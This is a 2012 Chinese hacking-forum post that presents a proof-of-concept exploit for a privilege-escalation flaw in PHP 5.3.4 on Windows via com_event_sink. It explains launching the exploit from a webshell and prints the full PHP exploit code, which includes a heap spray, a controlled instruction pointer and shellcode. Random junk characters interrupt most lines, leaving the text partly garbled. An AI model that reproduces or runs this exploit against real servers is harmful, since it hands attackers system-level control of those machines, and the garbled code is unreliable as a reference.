找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2229|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
' N) y" h) @: }' w+ ~
( {$ u( B. z- `/ e9 c测试方法如下:cmd /c x:\php\php.exe x:\test.php0 D7 y% ]& c& M6 b* C/ j
1 A6 d- }" h- X1 p
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
% P: f0 i: _5 o$ ?$ R" J+ G, N这里是两个测试的截图:5 h, y3 X0 N. N% g
0 R- c  c2 w, k, F/ ?% {' K

' K* G) t  l) _" E) N% O( H+ }7 o1 e2 _# n" g, \$ p6 ~/ Q

) ]+ V2 j( O/ O9 n5 J/ Q  t( W& O7 }8 o) a
成功利用此漏洞的攻击者将获得系统的最高权限! s" c. ?- o, L. w4 U3 W, L! E1 l
3 \0 ~  A0 p. x4 y/ f
% G. \( f2 N- r, _* [/ {" W

0 q- P& x8 c% f4 u9 ^* e
1 K& p- y3 p3 d# ]" h( [4 _1 `6 ]: [8 k/ x- l( ?: g% w
关于漏洞分析稍后附上。一下是PoC代码:
* e/ J% \8 k6 g7 Z1 [+ H$ k1 Q1 \' G9 P2 s% P
<?php
- H% [0 F& e* B7 v# y//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
# U1 u8 E, m2 l& x//$eip ="\x44\x43\x42\x41";
( v/ F  X: o8 O8 I$eip= "\x4b\xe8\x57\x78";
6 a1 T6 \( [: u$eax ="\x80\x01\x8d\x04";) z# X0 e) U* |; ~  ~. b- A6 `7 |
$deodrant="";/ o) F9 i9 q. H) b
$axespray = str_repeat($eip.$eax,0x80);$ q# \( `% a. K" l0 L/ z' O/ B4 `
//048d0190
  p* J6 V' ?# O: F. C# Aecho strlen($axespray);* f/ V' J. b9 Y- z- f3 }5 O; B
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
% N  R: L/ x$ Z" U6 n7 Decho "Silic Group Hacker Army - BlackBap.Org";  W- ^$ J& x% p
//19200 ==4B32 4b00# |8 p- C' W/ p7 p0 B3 w+ m( V8 ?
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}: B; u, g3 p! C" \
$terminate = "T";
, @$ _4 W! C/ ^: e$u[] =$deodrant;
. n3 _/ E; u, P# W$r[] =$deodrant.$terminate;
! _' O/ Z4 E3 t; Q) x" b" G$a[] =$deodrant.$terminate;+ d) p5 y. t1 t2 P+ V+ F3 `
$s[] =$deodrant.$terminate;1 x' \" k/ Y" _4 ?( F" s/ ?% U
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
% o2 l/ D; }9 C4 K0 n- |+ e& T. Y$vVar = new VARIANT(0x048d0000+180);
" E" F# @: S% o" |//弹窗代码(Shellcode)
" }: q8 R3 T# P, e+ B& U' r1 r$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";+ T  v- X2 `( u6 V" _0 }) P
$var2 = new VARIANT(0x41414242);
3 m% z( i$ h; Ccom_event_sink($vVar,$var2,$buffer);
  S6 b& h0 g& j6 L, m9 g+ o?>1 C3 a1 Y8 ]) f$ \' _. U' _* K

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表